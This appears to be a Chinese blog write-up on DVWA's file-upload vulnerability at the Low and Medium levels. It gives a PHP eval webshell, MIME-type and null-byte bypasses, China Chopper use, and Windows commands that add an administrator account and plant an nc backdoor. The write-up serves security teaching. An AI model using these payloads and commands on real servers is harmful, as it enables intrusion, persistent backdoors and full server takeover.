DVWA之File Upload(文件上傳漏洞)

      由於對上傳文件的類型、內容沒有進行嚴格的過濾、檢查,使得攻擊者可以通過上傳木馬獲取服務器的webshell權限,因此文件上傳漏洞帶來的危害常常是毀滅性的。

      下面對不同級別的代碼進行分析。

一:LOW

1、服務器端核心代碼

<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // Can we move the file to the upload folder? 
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
        // No 
        echo '<pre>Your image was not uploaded.</pre>'; 
    } 
    else { 
        // Yes! 
        echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
    } 
} 

?>

        可以看到,服務器對上傳文件的類型、內容沒有做任何的檢查、過濾,存在明顯的文件上傳漏洞,生成上傳路徑後,服務器會檢查是否上傳成功並返回相應提示信息。

        文件上傳漏洞的利用是有限制條件的,首先當然是要能夠成功上傳木馬文件,其次上傳文件必須能夠被執行,最後就是上傳文件的路徑必須可知。

 2、漏洞利用

(1)首先先上傳一個一句話木馬hack.php,參數名(一句話木馬口令)爲hack

<?php
@eval($_POST['hack'])
?>

上傳成功,並且返回了上傳路徑

 3、這時我們就可以使用中國菜刀這個工具了,右鍵添加

4、然後中國菜刀就會通過向服務器發送包含hack參數的post請求,在服務器上執行任意命令,獲取webshell權限。可以下載、修改服務器的所有文件。

5、獲取權限後,把cmd上傳,此時是沒有權限的(whoami查看權限),需要提權

補充:以下這幾種命令有admin權限才能執行

           1、net user 查看用戶

           2、net user 123 123  /add添加用戶

           3、net localgroup Administrators 123 /add  把新建的123賬號添加到管理員組

           4、net  start  telnet    開啓靶機的telnet服務(利用telnet登錄,使用ftp把nc下載到靶機並運行,這樣就建立了後門)

           3、Systeminfo 查看計算機的信息(操作系統,位數,補丁情況等)

           4、Tasklist /svc 查看計算機的進程

           5、Netstat -ano 查看計算機的網絡端口連接​​​​​​​

           4、在網站提權中我們經常會使用到這些工具Churrasco.exe (巴西烤肉)  cmd.exe  nc.exe  pr.exe  360.exe 等等。

如果說webshell不能執行cmd那麼我們就需要上傳一個cmd,如果說上傳cmd後不能添加用戶那麼我我們就需要上傳以上軟件

如:上傳成功後C:\WINDOWS\system32\pr.exe “net user 123 123 /add”。

二:Medium

1、服務器端核心代碼

<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 

    // Is it an image? 
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 
        ( $uploaded_size < 100000 ) ) { 

        // Can we move the file to the upload folder? 
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
            // No 
            echo '<pre>Your image was not uploaded.</pre>'; 
        } 
        else { 
            // Yes! 
            echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
        } 
    } 
    else { 
        // Invalid file 
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
    } 
} 

?> 

可以看到,Medium級別的代碼對上傳文件的類型、大小做了限制,要求文件類型必須是jpeg或者png,大小不能超過100000B(約爲97.6KB)。

2、漏洞利用

(1)組合拳(文件包含+文件上傳)

 因爲採用的是一句話木馬,所以文件大小不會有問題,至於文件類型的檢查,嘗試修改文件名爲hack.png

<?php
@eval($_POST['hack'])
?>

上傳成功

(2)這時打開中國菜刀

雖然成功上傳了文件,但是並不能成功獲取webshell權限。

(3)中國菜刀的原理是向上傳文件發送包含hack參數的post請求,通過控制ack參數來執行不同的命令,而這裏服務器將木馬文件解析成了圖片文件,因此向其發送post請求時,服務器只會返回這個“圖片”文件,並不會執行相應命令。

(4)讓服務器將其解析爲php文件,抓包修改文件類型,上傳hack.png文件,抓包。

1.png

嘗試修改filename爲hack.php。

1.png

上傳成功。上菜刀,獲取webshell權限。

方法二:截斷繞過規則。

在php版本小於5.3.4的服務器中,當Magic_quote_gpc選項爲off時,可以在文件名中使用%00截斷,所以可以把上傳文件命名爲hack.php%00.png。可以看到,包中的文件類型爲image/png,可以通過文件類型檢查。

1.png

服務器會認爲其文件名爲hack.php,順勢解析爲php文件

                                                                                               參考文章:http://www.freebuf.com/articles/web/119467.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章